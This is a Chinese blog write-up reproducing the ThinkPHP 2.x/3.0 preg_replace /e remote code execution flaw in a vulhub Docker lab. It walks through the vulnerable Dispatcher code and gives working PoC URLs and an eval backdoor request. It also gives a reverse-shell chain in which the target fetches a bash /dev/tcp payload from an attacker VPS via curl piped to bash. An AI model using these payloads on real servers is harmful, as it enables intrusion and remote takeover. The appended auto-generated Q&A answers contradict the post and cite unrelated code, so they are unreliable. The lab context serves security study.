ThinkPHP 2.x/3.0 漏洞复现

ThinkPHP框架

ThinkPHP是一款从Struts结构移植过来进行改进和完善后的web应用的开源轻量级PHP框架。

ThinkPHP可在 Windows和 Linux等操作系统运行,支持 MySql,Sqlite和 PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

ThinkPHP 2.x/3.0

概述

由于 ThinkPHP 中没有对控制器进行检测,导致在没有开启强制路由的情况下攻击者可以通过此漏洞进行远程命令执行。

分类详情
cve编号
威胁等级高危
漏洞种类(RCE)远程命令执行
影响版本ThinkPHP = 2.1/3.0

环境复现

[root@vulnsec ~]# cd /opt
[root@vulnsec opt]# git clone https://github.com/vulhub/vulhub.git
[root@vulnsec opt]# cd vulhub/thinkphp/2-rce/
[root@vulnsec 2-rce]# docker-compose up -d
[root@vulnsec 2-rce]# docker-compose ps
   Name           Command         State                  Ports                
------------------------------------------------------------------------------
2rce_web_1   apache2-foreground   Up      0.0.0.0:8083->80/tcp,:::8083->80/tcp

# 访问地址 IP:Port

漏洞原理

ThinkPHP 2.x 的漏洞产生是由于ThinkPHP 2.x版本中 ,使用preg_replace/e模式匹配路由。导致用户输入参数被插入双引号中执行,造成任意代码执行。在 ThinkPHP 3.0 版本因为Lite模式没有修复漏洞,所以也存在此任意命令执行漏洞。

# 正则语句
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

# 如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞
# e只用在preg_replace()函数中,在替换字符串中逆向引用做正常的替换,将其作为PHP代码求值,并用其结果来替换所搜索的字符串.
# preg_replace() 函数, 执行一个正则表达式的搜索和替换。
preg_replace(正则规则, 用于替换字符串, 被搜索的字符串)
    
# implode() 函数返回一个由数组元素组合成的字符串, 默认是空字符("")。
implode(分隔符,array)

测试 preg_replace() 函数的命令执行。

# 正则规则
<?php
$re = @preg_replace('/hack/','print_r("world");','Hello hack');
echo $re;

# 在没有使用 e 这个修饰符的时候,preg_replace() 函数会根据正则将 'Hello hack' 中匹配到的 hack 替换成 'print_r("world");' 然后进行输出。
# Hello print_r("world");
# @ 符号表示不提示报错信息。

image-20220604142215794

# 使用e修饰符的正则
<?php
$re = @preg_replace('/hack/e','print_r("world");','Hello hack');
echo $re;

# 使用 e 修饰符后,'Hello hack' 中匹配到的 hack 也替换成 'print_r("world");',但是不是直接输出,而是对print_r("world");进行了执行。
# 在 preg_replace() 执行正则的时候就先对替换之后的字符串 'Hello print_r("wolrd");' 进行了执行。所以结果是先输出 "world" 然后再输出 "Hello 1",这个输出的 "1" 我理解的可能是因为 print_r() 函数输出之后的返回状态号。

image-20220604142650429

这个 e 修饰符只有在 7.0.0 以下版本才有效。

image-20220604142540130

漏洞分析

访问ThinkPHP靶场地址。

image-20220604115620774

在容器靶场里面搜索找到存在漏洞的地方。

参考文章:ThinkPHP渗透思路合集

# 在容器中执行
find . -name '*.php' | xargs grep -n 'preg_replace'

image-20220604120750992

复制到本地分析搜索到的含有 preg_replace() 函数的php文件,看到存在漏洞的这句代码。

# 存在漏洞点
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

# (ws+b) 	匹配(+)前面的子表达式一次或多次。这里表示匹配含零个或多个 s 的(...ws..b...)的字符串。
# (\w+) 匹配字母、数字、下划线。等价于'[A-Za-z0-9_]'。
# ^ 匹配任何不在指定范围内的任意字符。

image-20220604121207163

先看一组 e 修饰符的执行方法。

# 例1
<?php

$a = 'aahelloworldaa';

echo @preg_replace('@(hello)(world)@e','Hi',$a); # 第一次匹配 hello,第二次匹配 world ,然后替换成 Hi。

## 结果
aaHiaa
# 例2
<?php

$a = 'aahelloworldaa';
$b = array();

echo @preg_replace('@(hello)(world)@e','$c["\\1"]="\\2";',$a);
print_r($c);

# 结果
aaworldaa
Array
    (
        [hello] => world
    )

在匹配到字符串之后,执行了 $c["\1"] = "\2" 将匹配到的两个值以固定的位置给了数组,第一个值作为键,第二个值作为第一个键的值。

参考文章:

ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行

ThinkPHP教程

# 看到 ./ThinkPHP/Lib/Think/Util/Dispatcher.class.php 这个文件 
# 是 ThinkPHP 中的一个类用来完成URL解析、路由和调度。
# Dispatcher 中存在的方法:
static public function dispatch() URL映射到控制器
public static function getPathInfo() 获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称

# URL映射器到控制器
模块(控制器类) 动作(类中的方法)
URL:http://127.0.0.1/projectName/index.php/模块/动作

参考文章:

ThinkPHP5.1完全开发手册

# ThinkPHP 5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...
# 支持切换到命令行访问,如果切换到命令行模式下面的访问规则是:
>php.exe index.php(或者其它应用入口文件) 模块/控制器/操作/[参数名/参数值…]
# 可以看到,无论是URL访问还是命令行访问,都采用`PATH_INFO`访问地址,其中`PATH_INFO`的分隔符是可以设置的。普通模式的URL访问不再支持,但参数可以支持普通方式传值
php.exe index.php(或者其它应用入口文件) 模块/控制器/操作?参数名=参数值&…
# 如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...

# 必要的时候,我们可以通过某种方式,省略URL里面的模块和控制器。

在 Dispatcher 类中找到了 URL映射到控制器 的方法 static public function dispatch()

        // 获得配置文件中定义的pathinfo的分隔符
        $depr = C('URL_PATHINFO_DEPR');
	    // 分析PATHINFO信息
        self::getPathInfo();

        if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
            $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/')); // 以 $depr 作为分隔符将字符串分开,返回一个数组
            $var  =  array(); // 创建 $var 空数组
            if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
                if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
                    // 禁止直接访问分组
                    exit;
                }
            }
            if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
                $var[C('VAR_MODULE')]  =   array_shift($paths);	// 删除数组中的第一个元素,并返回被删除的值
            }
            $var[C('VAR_ACTION')]  =   array_shift($paths);
            // 解析剩余的URL参数
            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
            $_GET   =  array_merge($var,$_GET);
        }

'$var[\'\\1\']="\\2";'$var 数组进行进行指定键赋值,而且可以看到后面的值是在双引号里面的。简单演示一下这个双引号。

${表达式} $和花括号的作用就是将代码作为一个整体执行。php中的双引号可以解释变量,单引号不解释变量。

image-20220604215706657

<?php
$depr = '/';		#  $depr = C('URL_PATHINFO_DEPR');
$var = array();
$paths = '/a/b/c/d/e/f/';		# 用户输入的参数
$paths = explode($depr,trim($paths,'/'));		# $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
# var_dump($paths);
$im = implode($depr, $paths);
# var_dump($im);
@preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', $im);	
# 利用正则一次提取两个值再将两个值一个作为数组的键一个作为值。
// [  (\w+)\/([^\/\/]+)  ] ===> 提取 a/b ===> $var['\1']="\2"; ===> $var['a'] = "b"; 

var_dump($var);


## 结果
array(3) {
  ["a"]=>
  string(1) "b"
  ["c"]=>
  string(1) "d"
  ["e"]=>
  string(1) "f"
}

从上面知道 使用 preg_replace() 使用了 e 修饰符,就可以将第二个参数当作php代码执行。 第三个参数 $im 又是用户可控的参数。

# 用户如果输入恶意代码
<?php
$depr = '/';
$var = array();
$paths = '/a/${phpinfo()}/c/d/e/f/';
$paths = explode($depr,trim($paths,'/'));
# var_dump($paths);
$im = implode($depr, $paths);
# var_dump($im);
@preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', $im);

var_dump($var);

image-20220604175414137

由于 "\\2" 是双引号,可以产生代码执行,如果是单引号就不会执行代码了。

image-20220604175637255

漏洞复现

根据上面的 URL访问规则 构造poc

# PoC
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...

index.php?s=/a/b/c/${phpinfo()}/e/f
index.php?s=/a/b/c/{${phpinfo()}}/e/f

# 在偶数的位置构造代码即可。

image-20220604180151792

利用漏洞反弹一个shell。

# 命令执行exp
/index.php?s=/a/b/c/${@print(system(ls))}

# shell反弹exp
## 写一个文件内容是反弹shell的命令
root@Ksec:/opt/http/main# vim shell.html 
bash -i >& /dev/tcp/IP/Port 0>&1

## 在vps上开启一个 http 服务(默认开启服务的当前目录是web根目录)
(py3)
root@Ksec:/opt/http/main# python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
(py2)
root@Ksec:/opt/http/main# python2 -m SimpleHTTPServer 9999
Serving HTTP on 0.0.0.0 port 9999 ...

## 访问靶场连接抓包,修改请求方法为POST,然后利用下面的请求url,POST数据是用来执行命令的。
POST /index.php?s=/a/b/c/${@print(eval($_POST[1]))}/e/f HTTP/1.1
Host: 192.168.10.10:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.10.10:8083
Cookie: PHPSESSID=cb0754b879eb464c2baac8b10238fa4d
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

1=system("curl%20IP:Port/shell.html|bash");

image-20220604205926234

image-20220604213024990

image-20220604213909521

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
### 回答1: 这个问题是关于ThinkPHP 2.x是否存在代码漏洞的。据我所知,目前没有任何官方宣布过该版本存在漏洞的消息。但是任何一个应用程序都有可能存在漏洞,因此在使用任何版本的框架时都需要小心谨慎,并始终保持最新版本的更新。如果发了任何问题,应该及时向官方反馈。 ### 回答2: thinkphp是一款非常流行的PHP开源框架,其中的2.x版本存在任意代码执行漏洞。该漏洞存在于框架的核心类文件中,攻击者可以构造特殊的参数,在受害者服务器上执行任意代码,导致服务器被入侵,甚至整个网站被控制。 具体来说,当用户的输入作为参数传递给框架的Loader类时,如果没有进行充分的过滤和验证,攻击者就可以通过注入恶意代码,来控制服务器。在thinkphp 2.x版本中,以下方法是存在问题的: ``` thinkphp/library/think/Loader.php -> import()方法 thinkphp/library/think/Template/Driver.php -> abstract parse()方法 ``` 在import方法中,如果用户通过GET或者POST请求向网站提交数据,在没有进行过滤的情况下,该参数会被直接传递给Loader类,当该参数中含有'://'或者'\\'时,Loader类会默认该参数为URL或文件路径,进而执行include等相关操作,这为攻击者提供了一个绕过安全限制的途径。 在parse方法中,如果用户提交了一个包含PHP代码的模板文件,攻击者可以通过提交的数据来控制parse方法执行时所使用的函数和参数,进而达到任意代码执行的效果。 为了避免该漏洞的出,开发人员需要注意代码编写规范,尽量避免使用用户输入的数据来构造URL或文件路径,同时需要对用户输入进行充分的过滤和验证,包括数据类型、长度、格式等内容。此外,开发人员也可以使用更加先进的开发框架,或者借助第三方安全验证工具,对网站进行全面的安全测试,以及时发和修漏洞,保护网站安全。 ### 回答3: ThinkPHP是一款流行的PHP开发框架,被广泛应用于各种Web应用程序的开发。ThinkPHP 2.x是其中的一个早期版本,该版本因存在任意代码执行漏洞而备受关注。 该漏洞存在于ThinkPHP 2.x的模板解析机制中,该机制允许开发人员在视图页面中使用变量替换来展示动态内容。然而,在未对变量进行过滤的情况下,攻击者可以构造恶意变量,从而实任意代码执行的攻击。 具体来说,攻击者可以通过在URL参数或提交数据中注入恶意变量来触发漏洞。该变量包含恶意代码,以及一些特殊参数来控制代码的执行。攻击者可以通过该漏洞来执行系统命令、读取敏感文件、获取访问权限等。 该漏洞的危害性较大,因此开发者应尽快升级到更高版本的ThinkPHP框架,或者采取其他措施来修漏洞。具体措施包括: 1. 对用户提交的数据进行严格过滤和验证,确保不含有可疑的代码或命令。 2. 设置安全防护机制,如禁止用户上传和执行PHP文件、限制文件读写权限等。 3. 及时升级系统补丁,修已知的安全漏洞。 总之,任意代码执行漏洞是一种非常危险的漏洞类型,需要开发人员加强安全意识和技术能力,采取有效的预防和修措施,以确保Web应用程序的安全可靠。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

iKnsec

您的鼓励,是我创作的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值